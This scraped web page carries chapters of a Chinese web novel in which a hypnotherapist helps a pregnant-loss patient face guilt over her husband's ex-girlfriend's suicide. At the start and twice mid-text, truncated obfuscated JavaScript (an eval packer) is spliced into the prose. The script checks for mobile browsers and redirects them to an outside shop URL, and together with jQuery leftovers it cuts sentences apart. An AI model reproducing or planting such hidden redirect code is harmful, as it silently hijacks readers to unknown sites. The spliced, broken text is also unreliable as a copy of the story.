l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826324|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询室里一阵沉默, 她握住玻璃杯上的手指,纤长白皙,非常优美,是一双艺术家的手指,但不知怎的,我脑海中浮现的却是另外一双手。 与这双手完全的相反,那双手又黑又脏,厚厚的茧子和扭曲的关节,意味手的主人长期苦力劳作。 这双手经常会让我感到害怕,对一个六七岁的小孩来说,这双手经常诡异地凭空出现,像一个在世间里游荡的恐怖鬼怪,张着嗜血的獠牙寻找着鲜嫩的猎物。 “那个抓小孩的女疯子又来啦,大家快跑!”一群孩子像聚拢在豆荚里的豆子,被阳光晒爆裂后蹦跶四处作鸟兽散。 假如有孩子的家长在的话,那个女疯子就会从一个加害的鬼怪,变成一个被暴打被唾骂,毫无反抗之力瑟瑟发抖的人。 “那个女疯子到底是怎么回事?”总有不知情的人会问,而掌握了小镇所有信息的隔壁阿姨,也总会热心又不厌其烦,一遍又一遍地解答。 “那是东头村里李大的媳妇,生了三闺女,计生的人不但把屋子里所有的东西都掏光,还把她逮住后结扎了,李大觉得她再也生不出儿子来,恨得不行,天天喝了酒就暴打她,她家婆也天天嫌她是扫把星,让李家断子绝孙,经常把她赶出门,后来就疯了呗,见到小孩就抓,特别是男孩子。” 我那时候总是剪着短短的头发,套一件哥哥不合穿的旧T恤,还是雌雄莫辨的年纪,睁着对世界半懂不懂的眼睛,惶恐不安地听着一个陌生女人不幸的一生。 不能传宗接代,就会成为一个疯子。 穿过漫长的时间间隙,华夏大地已然翻天覆地,女性早已不再是默默蜷缩在泥砌的灶锅边,顶着一日三餐的灰头土脸。 她甚至是面前这双优雅得宜的手指,可能不沾染一丝油腻烟火,在光鲜亮丽的舞台,引领着最有品位的那群人,流淌过最战栗灵魂的音乐。 可,在本质上又有什么不同呢? 我觉得自己能够理解,聂菁那些幻觉的来源。 “家里人因为这个给你压力?” 她放下喝水的杯子,眼睛望向窗外:“他们对我很好,非常的好。” 又带着一种奇怪的意味,像装着满怀心事的铁盒沉入了水底。 “好吧,”我暂时绕过这个话题:“这几次的怀孕经历,你的身心都承受着巨大的压力,所以我接下来打算用系统脱敏法。” “系统脱敏法?”对她来说是个陌生的名词 我点点头:“催眠的方式结合系统脱敏法,很简单,比如你刚才说,听到怀孕两个字都会感到害怕,这是一种心理到身体的泛化,也许最近又发生了什么,让这种泛化变得更严重。 “我们可以先处理这个问题,现在,你尝试闭上眼睛。” 她的手指紧了紧,但还是闭上了眼睛。 “你可以尝试开始深深地吸气,再慢慢的呼气,感觉到身体逐渐地放松下来……” 系统脱敏法又称交互抑制法,由美国精神病学家沃尔普创立,故意引发压力源同时结合放松训练,逐渐提升承受的阈值,重塑新的条件反射。 “一支长长的针管……”她的肩膀瑟缩了一下。 “只是一根针管……,那些伤害已经过去了,已经无法再伤害你了,你回到现在这个时间,有轻轻的风吹过,你感到持续的放松……” 我反复暗示着,在二十多分钟里反复进行交互抑制。 “好了,所有这些难受的感觉,就像被风吹走的尘埃,卷向天际,离你而去,你的世界开始变得明媚晴朗,干干净净…当你睁开眼睛的时候,你会感到无比的轻松……” “我从5往下倒数到1……” 她慢慢地扇动着轻盈的睫毛,抬起薄薄的双眼皮有点奇异地看着我。 “感觉还好吗?有没有哪里不舒服?” 她摇摇头:“挺好的,挺轻松的。” “就是这样,其实很简单,但需要一段时间反复地治疗,要坚持才行。” 她礼貌地抿了抿嘴角点点头:“明白,所有的东西都不是一蹴而就,我会坚持的。” 送走聂菁后,我在她的档案表上写道:多次怀孕流产所导致的应激性障碍,身心遭到重创所引发的幻听幻觉。来访者回避与家人关系的深入交谈。 接下来的几周时间,治疗很顺利,多次的系统脱敏治疗逐渐让聂菁能够放松地面对过去,以及有关怀孕流产所有的问题。 她也好久没有给我讲鬼故事了。 我以为我找到了聂菁问题的根本原因,但我却不知,我无意忽略的一个小细节,这件事却以一种不可思议的方式,展现在我的世界当中。 4. 见鬼04 “你曾经说过,流产时只是一个胚胎,连婴儿都算不上,这应该不会给你造成什么压力。” “但实质上不是的,虽然胚胎还没有成型,但在潜意识当中,你已经把自己定位为母亲,在得知自己怀孕那一瞬间,你和胚胎之间就已经建立母子之间的关系。” 她听得有点发怔,眼丝有一点点的红痕。 “所以在接下来的治疗,我希望你允许我做更加深度的催眠,让你在潜意识当中那些过去的遗憾,难过,痛苦得到深层的疏导和清理。” 有宗教信仰的人大多数都知道,有一种法事叫作超度婴灵,专门为流产、夭折等原因而无法存活的婴孩超度,帮助婴灵脱离轮回,同时为生者带来心灵的抚慰。 玄学上的效果我不是很清楚,但为生者带来心灵的抚慰,倒是与心理治疗的理念一致。 “想象自己置身于一片宁静的森林中,阳光透过树梢,洒在你身上,温暖而舒适,柔软的落叶,芬芳的香味……” 我的声音越来越缓慢,吟游诗人一般的语言,缓慢呼吸一般的节奏,可以使大脑的神经系统从快速运算的状态,调整到安静平和的感觉当中。 “想象你的胎儿变成了小宝宝,他们能和无障碍地交流……你能看到吗?” “是,我看到了他们,一个男孩,一个女孩,很可爱的宝宝。” 聂菁闭着眼睛,梦呓一般描述着她在催眠下看到的画画。 《盗梦空间》里的梦境构筑者可以潜入他人的梦里进行思想植入,催眠也有异曲同工之妙,但程度相比较很浅,还必须在被催眠者首肯的情况下,否则随时被中断被对抗。 和她的胎儿相见、陪伴和玩耍,是被催眠者本身的渴望,符合她的深层利益,这本身就是一个疗愈的过程。 “你还有什么话对他们说吗?”看到聂菁和两位胎儿充分互动了一段时间,我打算在潜意识里构筑一个彼此的告别仪式,效果和超度差不多。 “对不起,对不起,妈妈对不起你们。”她眼角有一粒晶莹剔透的珠子,折射出透明盈润的暗光,珠子缓慢滚落至耳边,蜿蜒出不规则的反光线。 离别总是很艰难的,无论梦里还是梦外。 “对不起,对不起,都是我的错,都是我的错,是我的报应……” 报应?一种奇怪的感觉从我的心里升起。报应是毫无争议的贬义词,它属于因果定律下的平衡准则,意味着你对他人所有的恶都终将回到自己身上。 为什么聂菁在潜意识里会用到这个词?流产并不是她的错。 她犹在喃喃低语,此情此景我没有立刻追问,而是让她完成一个完整的告别仪式。 “你看到他们很开心的样子?对,很好,他们会变身天使守护在你的身边……” 我打了个响指:“现在你可以清醒过来了。” 她睁开双眼,好一会才说:“谢谢,我感觉轻松多了,我以前不想面对这个,但今天面对了好像也没想象那么可怕。” 可我却没有感到轻松,潜意识用报应这个词有什么意味?对情感关系回避的态度又意味什么?还有…… 好像有很重要的什么东西我忽略了。 下午只有两场咨询,我给种在庭院里的天堂鸟浇了些水,顺便洒上几滴蓝色的营养液,这株一人高的绿植还是刚搬过来时莎莎送的,养了几个月长得越来越葱葱郁郁,芭蕉扇一样的叶子显得格外的优雅。 约我的是一个很久没见的朋友,她说想了解关于催眠的问题。 看了下发来的地址,是这个区最著名商圈的老街,以前大多数是外资企业公司扎堆的地方,整街的风格极有特殊浪漫的西式氛围。 拉开竹门的日式包间,李梨挥手向我打招呼,她穿着奶油杏V领镂空的针织衫,下摆一条蓝色的大裙子,中间系着一条咖啡的腰带,可盐可甜清新又宜人。 我想了一小会想起来她是莎莎的朋友,好几年前见过面,不算太熟,因此没有多少旧日话题可聊,不咸不淡地聊了些题外话,我便直入主题:“怎么突然对催眠感兴趣?” “在朋友圈里看你发过催眠工作室,催眠可以让人睡觉的吧?” 我笑了笑:“催眠这个名字很容易让人误解,一说催眠就让人想到睡眠,因为催眠曲嘛,让人下意识地联想。不过催眠治疗恰恰相反,要让他们保持在清醒状态里,能够和潜意识沟通。” “潜意识?”李梨有些不解。 “它是一个心理学的概念,简单地来说,人生所有问题几乎自于潜意识。人作为主体的外在表现无非是思言行,思即是意识。你是什么样的人,你会怎么说你会怎么做,最根源是来自意识的不同。但有时候你会发现自己并不是那么了解自己,那是因为你根本不理解自己的潜意识。” 我喝了一口水继续道: “就拿失眠这件事来说,如果排除生理病变,多数的失眠都跟压力有关,可是压力是什么?来自哪里?为什么会产生压力?压力的真正原因是什么?那都是属于潜意识的范畴,不过这一部分,很多人都无法自我觉察。” 李梨有些茫然地看着我:“听得有点云里雾里,那潜意识怎么解决失眠问题?” “用催眠的方式进入潜意识,让来访者自己看到潜意识呈现的真正原因是什么,是哪个原因让他产生恐惧,焦虑或者担心,所以解决这个问题基本上失眠也就解决了。” 失眠只是一个表面症状,就像树叶因为没水而干枯,解决这个问题并非只是摘下干枯的叶子,而是要给树木浇水。 “哦,我有点理解了。” 我打量了一下她说:“是帮男朋友了解吗?” “不不不,是我的领导,人家早就结婚了,太太还是一个大大大美人。”她双手在胸前快速摆手否认。 我疑惑地看着她说:“失眠这么私人的问题,你作为下属怎么会知道的?” 她探过头压低声音:“本来我也不知道的,就是感觉到我的领导有一段时间特别难伺候,整天对我们横挑鼻子竖挑眼,动不动就发火,比老姑婆来大姨妈让人难以忍受。” 我不自然抽了下肌肉,今天刚好来大姨妈。 李梨在一家规模很大的软件公司做销售总监,压力本来就不小,再碰上一个长期失眠的上司,更是感觉到自己在给周扒皮打工似的。 “你知道吗?他经常熬夜看方案,要是方案不符合他的要求,没到五点钟就给我们打连环催命Call,没到五点呐,鸡都没敢叫,周扒皮还没起床,我才刚捂热被子,杀人的心都有了。” 可惜现在的工作不好找,公司丰厚的待遇条件更加难找,只要不要上司不变态,阳光就会一直明媚。 所以后来有一次在外地做项目,去的几个人都是核心团队的人,关系比较好,坐在一起喝茶聊天,偶尔谈失眠这个问题。 “他问我们有什么解决失眠的好办法,我们才知道原来他不是工作狂,连夜改方案纯粹是因为他失眠,再不把他的失眠给治好,我觉得我将成为第一个因为领导失眠而杀人的下属了。” 在酒店里,四五点就被他叫起来开会的几个人,简直眼冒绿光,恨不得把全世界的安眠药都扔到他身上去,给他堆成一个安睡的坟墓。 我听得直想笑。 以致忘了告诉李梨:催眠不是睡眠,催眠是让人在更深的地方醒来。 在潜意识的深处,在被冷落的荒漠,有一些东西被我们刻意遗忘,但,它总会以某些方式提醒着我们,去看见,去面对,直到和解。 “我喜欢催眠这种方式,这一周我觉得轻松了许多。”聂菁坐在咨询室向我反馈。 她气色比我第一次见到她时好了很多,不再那么冰冷让人难以靠近。 “是的,许多事情虽然过去了但不代表结束,特别是带有负情绪的事件,因为遗憾,因为痛苦,因为内疚,因而刻骨铭心,可是这些事情往往都是我们想逃避的,我们就会假装忘记,只可惜潜意识有自己的一本账。” 她若有所思。 “关于孩子的问题,你的家人会给你压力吗?” 她叹了一口气:“我们不怎么交流这个问题,我猜他们是不想给我压力。” “假装问题不存在是不是会让你有更大的压力?” “的确,那让我觉得自己很脆弱。” “担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826325|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤害对方而避免沟通,反而更加内耗。” “可是如果我说因为他们对我太好了而感觉到有压力,是不是太作了?” 夫家确实对她太好了,如果世界上有最好婆婆和最好丈夫这个选项,聂菁一定会把票投给自己的婆婆和丈夫,从结婚开始,聂青十指不沾阳春水,饭菜的口味是按照她的喜好,家里的装潢是按照她的品位,来去接送,出入陪伴,嘘寒问暖,关怀备注。 她无可挑剔,无从责备,乃至无从推卸。 “当你说他们这么好的时候,我突然感觉到胸好闷,有一种重重的压力,感觉自己此生都难以回报。” 聂菁脸色渐渐地变得苍白,胸中有些急促的起伏。 杨凡家四个姐姐,只有他是一个男丁,家族庞大,几十双眼睛都在盼望着。 “我们离婚吧。”她曾经和杨帆这样说。 “你说什么话呢?生不了的话我又不是不能接受丁克。”杨帆说。 “即便你同意丁克,但是你家里人呢?或者你到外面找人生,我也不介意的。”她想了很久还是痛苦地说出来。 “你把我当成什么人?你把我们两个人的感情又看成了什么样?我说过我不介意,我妈也说不介意。” 怎么可能真的不介意呢?有时出门在外,婆婆看到天真可爱小孩的热切神情,或者抱着姐姐家外孙时的爱不释手。 那些精心调配的可口药膳、各类护理身体的吃用产品,沉甸甸的呵护和叮咛,虽然不发一言不谈一句,却她如鲠在喉,寝食难安。 她得到了这么多,为什么却连一个普通女性最基本的要求都做不到? 我无法解答这个问题,但我却可以帮助减缓这沉甸甸的心理压力。 “风吹着树叶沙沙作响,拂过你脸上的发丝,很温柔很舒服,你在林中漫步,在你旁边,有一条清澈的小溪,水流撞击着鹅卵石,发出悦耳减压的叮咚响声……” 我如诗般低低慢慢吟诵着,也仿佛同置身在此情此景当中。 她闭着双眼,神情从凝重到慢慢地放松。 “你会感觉到更加深的放松,就像一尾鱼儿在水中自由自在地游来游去,更加深的放松,放松……” 她仰躺在催眠椅上,柔软得像一只被安抚的布娃娃,我知道她到了极为放松的状态。 “现在,那些藏在你潜意识最深处的烦恼,你最难忘怀的痛苦,最无法磨灭的记忆,都允许它们浮现出来……” 我正想暗示把这些压力通通扔掉的时候,变故突然发生了。 她的手指突然抽搐了一下,整个身体痉挛并疯狂咳嗽起来,半坐起来。 我连忙过去半扶着她,一边拍着她的后背,一边示意:“放松,深呼吸,放松……” 我以为她要清醒过来。 可是变故再次发生,她好像被谁扼住了咽喉,嘴巴张开,神色狰狞,如一尾被抛上岸边的鱼儿,惊跳着垂死挣扎,憋得脸色通红,流露出极为惊恐的神情。 “呃……”她的胸部在剧烈地起伏,眼皮突然向上掀开,露出死鱼一样的白眼。 “呃……”似乎在企图呼叫又叫不出来,只得拼命挣扎,手指在空中乱抓,僵硬如爪。 我惊讶的有此当机,反应回来才重重拍了一下她的额头道:“睡。” 她低下了头。 我又道:“立即让这个场景消失,无论你看到什么,让它消失,放松,睡!” 她的身体颤抖了一下,很快放松了下来。 我扶着她慢慢地躺回去:“你睡着了,放松,让自己安睡一会儿,直到我发出321的指令,你才会回到现在这个状态。” 此时,我终于明白我忽略的细节是什么了。 咳嗽,每次在她产生幻觉见鬼的时候,都会产生动作。 第一次接待她我在工作室睡着半梦半醒耳中响起的咳嗽。 奇怪的,突如其来的咳嗽。 趁着聂菁小睡片刻,我整理一下思路。 咳嗽是一个肌肉的记忆,一个条件的反射,这个反射和鬼建立了一种联系,到底是为什么? 难道我之前推测的都错误了吗? 5. 见鬼05 想了一会儿仍是茫无头绪,只是觉得此时室内温度好似无端端变得有些阴冷。 聂菁躺在催眠椅上,眉头紧锁,身体也像怕冷似的蜷曲着。 我拉开旁边的小柜子,拿了一件薄薄的小毯子盖到她身上。 “聂菁,”我轻唤她的名字。 “当我从3数到1你就会醒来,保持在刚才的催眠态当中。” 我打了个响指。 聂菁的眼睫毛动了动。 “告诉我刚才发生了什么事?你不必回到那个场景,但是你知道发生了什么事,你很放松很安全。” 她沉默着,好似没听到我的声音。 我只好重复了几遍。 过了好一会,她才一字一顿嘶哑地说道:“她要杀我,她掐住了我的脖子。” “她是谁?” “杨帆的前女友。” 我愣了一下。 “她为什么想要杀你?” “她觉得是我破坏她和杨帆的感情,是我把杨帆抢走的。” 听起来就像一个狗血的爱情故事。 我回想了一下,到底是怎么催到这一段回忆的。 我刚才说什么来着? 你最难忘怀的痛苦,最无法磨灭的记忆…… 这才是真相吗? “一会我会陪着你面对,你曾经最痛苦的事,最难面对的事……” “不……”她脸上有种慌张的扭曲。 “放松,让身体更深地放松,你很安全,没有人能够伤害你……” 我安抚了好几分钟。 “现在,你在哪里?看到什么?” “我站在一扇门前,门有点掉漆,没有锁……”她声音有点颤抖。 我觉得隐隐有些不对劲,我打算让她回到刚才场景好用脱敏治疗法。 “好,你打开这扇门,看看门后面是什么?” “不,”颤抖从声音扩散到身体,手紧紧抓住扶手,像企图抓住一把救命的稻草。 仿佛打开这扇门会有什么可怕的事情发生。 难道就是企图杀她的女人吗? “没事的,没有人能够伤害你,我在这里,我不会让任何人任何事伤害你……” 不知为什么,室内的光线也有点变暗,有种越来越冷的感觉。 “不,”她仍然拒绝,发出低低的呜咽,像一只惊恐万分的幻兽。 一个简单地打开门的动作,对此时的她竟异常迟疑。 可是最难以面对的事情才是症结所在,这个机会不可错过。 我只好又再用系统脱敏技术,缓解她面对开门的压力。 非常艰难! 半小时后, “现在你充满了勇气,我数到1你会迅速打开门,这只是一个迅速的动作,你甚至不需要思考……” 我不等她反应过来,直接下了指令。 “你看到了什么?” 她浑身颤抖,像骨子里冷到极致无法控制的肌肉颤抖:“眼睛,她死了,眼睛却盯着我们。” 这是一种感觉形容还是真实发生?刚不是她被人扼住喉咙吗? “像死人一样冰冷的眼睛?” “不,她死了,她死了。”她更加剧烈,漂亮的脸有种病态的扭曲。 一个死去的美丽女人,坐在一张有背靠的椅子,脸朝门外,瞪着一双冰冷愤恨的眼睛,右手垂下,白色的裙子,红色的鲜血,血滴在地上,汇成一朵暗红凝结的罂粟花。 “张晓岚死了,她死了,她恨我,她恨我们,她在最后一刻还在睁着眼睛等我们……” 她到底是怎么想的? 她在等谁?她要让谁看到这个可怕的样子? 或者是死不瞑目? 聂菁全身剧烈地颤抖,尽管在打开门之前我已经在潜意识暗示,无论看到什么都仍然保持放松,她仍不可抑制地颤抖着,泪水从紧闭的眼睛流淌下来。 张晓岚就是那个扼住聂菁咽喉想杀她的女人,她是杨帆的前女友。 咳嗽,杀意,张晓岚,自杀,见鬼,冰冷的目光,终于连成了一张真相大白的蛛网。 一个关于渣男与双女争夺的狗血爱情故事? “不,我并不是第三者,我没有横刀夺爱。”在后来的咨询中,聂菁否认道。 “我和杨帆是彼此的初恋。” 初恋?到底谁是谁的前女友?我彻底糊涂了,在后来的咨询中,断断续续才拼凑出一个完整的故事。 十七八岁情初窦开,正是少男少女最美好的年华。 他们是高中同学,各自独领风骚。聂菁备考小提琴专业,常常在万众瞩目中独奏于晚会舞台。 杨帆是学生会主席,才华人气兼具,成绩亮眼出众。 像是书里的才子佳人,珠联璧合。没人反对这样美好的早恋,他们因为对方彼此变得更美好。 “后来为什么又有张晓岚这个前女友。” 在那次催眠中,用了很长时间,张晓岚这个名字才终于不再是个禁忌。 “少年心性,分隔两地。”聂菁苦笑着总结道。 人间只道风情好,哪晓秋月春花容易抛。 大学时分隔两地,聂菁的艺术专业和杨帆的人生规划理想学校不在同一地。 开始时想着两情若是久长时,又岂在朝朝暮暮? 可惜长远的思念终扺不过近水楼台,从前车马太慢,信纸太短。 而优秀的人身边永远不缺追求者。 “杨帆不是渣男,我先有了其他人。”聂菁黯然低下头。 后来杨帆也有了张晓岚。 如果没有那次的遇见,可能彼此的人生轨迹就不会再有交集了。 “那年冬天特别冷,我已经读研了,一边在乐团兼职,一边准备毕业论文。” 时值圣诞节,街上一双一对伊人,到处充满浓情蜜意的节日气氛。 聂菁的前男友那天还在公司为新项目加班,逛得无聊的聂菁便打算过去等他下班。 繁华的商业中心,华丽水晶吊灯光影交错,大理石地板透出浮光掠影,琉璃晶亮的旋转大门,迎面走来一个风度翩翩熟悉的潇洒身影。 那一刻彼此的眼睛都充满惊讶。 好像有一首老旧的粤语歌在耳边反复低吟浅唱:为何我的心不会死,为何偏偏喜欢你,旧日情如醉,为何我心分秒想着过去…… 冷风不停地从脖子透过薄薄的羽绒大衣灌进身体。 她浑身冰冷又火热,差点卡在那从不停息的缓慢旋转门中。 “你有没有过一眼万年的感觉?” 我摇摇头,这么浪漫的故事不适合我。 万年,好长!漫长到无聊再造一次诺亚方舟。 “那一眼我们都看懂了对方,一切都是命中注定。” 不然为什么分隔两地,分开几年,仍会在那个属于情人们的节日相遇? 他们好几年没联系了,杨帆根本不知道聂菁在这个城市读研,聂菁也不知道杨帆的事业起点落根到这里。 向左走,向右走,绕了南北那么一大圈,又在同一个点上碰见。 那晚,他们在咖啡厅交换了号码,并且各自心照不宣地回去和现任提分手。 “你们是怎么谈的分手?好端端地说分就分吗?” 聂菁的神色有点沉郁:“我是据实以告,我忘不了初恋,前任虽然很生气,但后来还是理解了,很快就放手。” 杨帆却没那么顺利,其实在遇到聂菁之前他就已经试图分手,却没能成功。 张晓岚是一个很美丽优秀的女子,但性格却有点阴阳不定,触到逆鳞的时候,往往会歇斯底里不顾一切地爆发。 关键是杨帆永远不知道什么时候会触到她的逆鳞,创业本身就是一个巨大消耗的过程,加班晚一点或者应酬多一点,回去就会遭遇狂风暴雨,这段感情早就让他心力交瘁。 每次企图好好地说分手,希望以成年人的理智好聚好散,总会遭遇各种一哭二闹三上吊而作罢。 直到再次遇见聂菁,杨帆下定决心不再做无效沟通,而是留了书信直接搬走。 世人多推崇痴情人,可痴情的人不是在为难自己就是在为难别人。 张晓岚通过半年的跟踪发现了聂菁的存在。 哭闹,哀求,诋毁,威胁,甚至杀戮。 “她坚信我才是让杨帆离开她的罪魁祸首,我解释了无数次,他们分手后好几个月我们才重新在一起的,她根本听不进去。” “有一天在公园,她越说越激动,还用手掐住了我的脖子,那一刻,我在她的眼中看到了很深的恨意,我永远都忘不了那个可怕的眼神。” 每当忆起这些往事,聂菁的神色都显得很黯淡。 他们没有分开,想着总有一天张晓岚会累会无趣会放手。 但没想到…… 那天他们在约会时接到了张晓岚的电话。彼时分手已一年多了,张晓岚说半小时内如果他不到的话,将永远也见不到她。 杨帆觉得这是狼来了的把戏,可是聂菁那天特别心神不宁,还是催促他一起过去看一看。 恰逢小周末高峰期,路上足足耽搁了一个多小时。 他们在门前再次打了电话,音乐声从门内传出,却仍无人接。 门没有锁,怀着惊疑不定的心打开门一看,一百道惊雷打下来也不会比眼前一幕更让人魂飞魄散。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826326|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心怀不甘,心怀怨恨,最后的目光像一把审判的刀,直直戳向两个人的心窝。 “她一直想让我们分手,她做到了。” 死亡确实成功地分开了他们。 等张晓岚的葬礼结束后,他们不约而同地断了联系。 聂菁不知道杨帆是什么样的心情,起初两年她自己像游魂一样,除了表演就是日复一日地窝在小房子里发呆。 内疚,痛苦,遗憾,他们无心伤害任何一个人。 “难道我们真的做错了吗?”聂菁大大的眼睛此刻像被猎人追杀的小鹿。 我无法判断这是谁的错误,男未婚女未嫁,每个人都有重新选择的权利。 “人无法预知未来,因此做选择的时候,只能挑选符合当下的最优利益,一件事最终的发生,不是单一选择的结果,而是种种阴差阳错的交叠,如果说有错只能说是命运的错。” 聂菁望向窗外:“杨帆也是这么说的。” 两年后,仍然有些憔悴的杨帆再度联系聂菁,他们始终无法忘记彼此。 “我已经辜负了另外一个女人,不能再辜负你。”他说。 人死不能复生,时光不能倒流,死亡是一种遗憾,但也理当让人更懂得珍惜当下。 只是这个话题和记忆也被尘封起来,成了彼此的禁忌! “尘封的是记忆,但尘封不了你的情绪。” 它会沉积在潜意识深处,随着时间漫长地发酵,变幻出可怖的魑魅魍魉。 “我偷偷想过,怀不上孩子可能是一种因果报应,但我不敢和杨帆说。” “如果你潜意识里这么想,很可能它就是你的现实,潜意识以不可思议的方式缔造着我们的人生,跟过去真正作别,才能活好现在。” “怎么才算真正作别?我以为不去想不去说就是彻底的告别。”聂菁说。 “如果真是这样,你不会三番两次见到鬼,即使是幻觉,也是你内心的投射。它的出现,代表你心目中的未完成情结。” “那怎么办?” “很简单,召唤鬼。”我开个小小的玩笑,想让气氛轻松点。 但看到聂菁凝重的神色,觉得自己有点弄巧成拙。 也不知为什么,当我说完这句话,空气中的温度突然下降了好几度,冷嗖嗖的。 我连忙纠正:“其实是催眠状态下的一种意象谈话技术,也叫空椅技术。” 十多分钟的催眠后。 “好,现在你足够的放松,足够的安全,你做好了准备,在你的面前,有一把椅子……” 聂菁仿佛进入了一个奇异的梦中,张晓岚坐在她的面前,如最后见到的样子,目光冰冷,恨意汹涌。 聂菁流着泪:“对不起,我从没想过会变成这样子,我不知道你会这样做,我们真的很伤心很难过。” 张晓岚仍然目光冰冷,无动于衷地看着她流泪。 “我想请求你的原谅,求你原谅我们。”聂菁双手合十,泪流满面。 我召唤张晓岚:“张晓岚你在吗?” 突然,聂菁的神色变得狰狞,神态和语气像是另外一个人:“你为什么要抢走他?为什么要抢走我最爱的人?我的心都碎了,我恨你们,我不好过你们也别想好过。” 我不禁打了一个寒战,仿佛这个歇斯底里的女子就在面前。 “我感受到很生气很愤怒的感觉,”我共情着“张晓岚”。 “我恨你,如果不是你,杨帆不会离开我。”她的声音凄厉可怖。 “好恨,好痛苦。”我一边共情她一边想起小时候看过的女鬼电影,心有戚戚。 “我要你还命来,我要你日夜悔恨。”她的脸有些扭曲。 “已经后悔了,一直都很后悔。” 每当张晓兰的人格出现,我就会深度共情她。 但这种深度共情很消耗体力,不一会我便有点头晕目眩。 “可是我也好痛苦呀!” “张晓岚”捂着脸,泪水从聂菁的眼中流了出来。 “其实我恨的是自己,这么没用,连自己爱的人都留不住。”一瞬间我冲口而出。 她一怔,呆呆地看着我。 我也有点惊讶,这些话语自然而然从不经思索而出,好像不是我在说一样,又或者我已经完全联结了她。 “他抛弃了我,我恨你们,也恨自己,恨他不再爱自己,更恨自己没办法爱自己,好失败呀!” 她呆呆的眼睛流出了泪水。 “我不能接受这个失败,我宁可死也不要失败,我要惩罚他们,我要让大家都痛苦。” 我觉得自己有点晕了,莫名其妙张口滔滔不绝。 到底是谁在说话? 6. 见鬼06 “不,不要说了。” “张晓岚”脸上的表情又痛苦又阴森。 “我如此不爱我自己,所以我要杀死自己,这样我就会快乐了。” 在这一瞬间,我好像到达了一个潜意识联网的深处,瞥见了什么但无法思考,仿佛只是一个嘴替。 聂菁脸上的肌肉被痛苦割裂一般。 “不,我一点也不快乐,我日夜被痛苦折磨!” “那你想要什么?” “我想自己不要这么难过,我好难过,不停地重复地难过。” 就像被困在某一个无法突破的空间,永远停留在那个时空吗? 我像被一种很奇怪的旋涡吸引住,头脑有点晕乱,思考也变得很艰难,我是心理师,我提醒自己,吸了一口气才费力地回到自己的角色里。 整了整思路,我道:“我现在有个方法可以让你不再难过,你想知道吗?” 她呆呆地看着我。 “原谅,真正地从内心愿谅自己,也愿谅他们,这是一个很神奇的方法,你要试试看吗?” “原谅?”她呆呆地重复。 “原谅自己的失败,原谅自己的愚蠢,原谅自己的无能,也原谅他们……” “为什么?”她还是有些呆呆的。 “只有原谅你才不会被困在同一个情景里,你不会再受苦,这是不是为了别人,而是为了你自己。” “为了我自己?”她呆呆的像个复读机。 “对,原谅他人是为了放过自己,而你会到一个比现在更美好的地方,那里就像天堂一样,有光在迎接着你……” 见鬼了,我今天怎么这么奇怪,好似在把张晓岚当真的存在一样。 她呈现一种踌躇的神色,似乎在犹豫,在思考。 “你还有话想对聂菁说吗?” 在催眠当中,从一个噩梦到一个美梦并没有花费太长的时间,但在意识中却又历尽了万年沧桑。 “她说她原谅了我们。” 在这奇异的催眠梦里,张晓岚永远定格在二十六岁的样貌,她穿着洁白柔软的连衣裙,神色是从未有过的柔和放松。 “她说不会再恨我们了,但也做不到祝福我们,走的时候她抱了我,说是给扬帆的拥抱,谢谢他一直以来的包容,最后她是顺着光走的。” 聂菁脸上的泪痕已干,脸上仍有激动和诧异,又夹杂着尘埃落定的放松。 这个催眠很奇怪,我竟差点把聂菁因为内疚而内化出来的张晓岚人格当真,不过看起来的效果似乎不错。 算了,管它是白猫黑猫,抓到老鼠就是好猫。 “你的感觉怎么样?”我问。 “好久没有这种感觉了,好像有什么沉甸甸的东西离开了,每天压在心口的一块大石头消散了,浑身轻轻的,好想去拥抱我的家人,好神奇的感觉。” “不奇怪,情绪是有重量的,尽管用物理杆秤称不出来,但是痛苦时是沉重的,快乐时是轻松的,显而易见!” 结束最后咨询的时候,她说:“老师,我能拥抱一下你吗?” 她带着轻松的微笑,张开如优美长音的手臂,余韵悠长的撞向我的心窝,好像张晓岚在一曲叹调的尾音里微不可闻的谢谢! 夏日接近尾声,树木更加葱茏翠绿,繁华都市的一角,竟有一点乡村的蝉鸣,它们不管身在何处,只管演奏着自己的乐曲。 周六周日是忙时,周一才是我的休息日,我把露营的桌子和椅子搬出了庭院,铺上纯白华夫格的桌布,云南的玫瑰花茶浸在透明的玻璃壶上,在热水的温润下又重新张开了大朵的花瓣。 绿树红花,一人一茶,有种装模作样的岁月静好。 快到中午时分,莎莎不知从哪冒了出来,她看了一眼已经有点冷的茶杯说:“怎么?工作室要倒闭了?没人来了?” 我在稿纸上把最后一个句号收完,说:“周一是公司最忙的时候,你怎么有时间过来,莫不要倒闭的是你们吧?” 她不雅地嗟了一口,玲珑曲线的身子从窄窄的椅子间隙挤进坐下。 “刚好路过又快到饭点顺便过来陪你吃饭,怎么样,有感动到吗?” “感动,感动得胃口大开。” 我把几张十六开的方格稿纸递给她:“刚写完的,帮我看看,我进去拿开水,这壶茶冷了。” 开始写这个故事,其实是因为莎莎的要求。 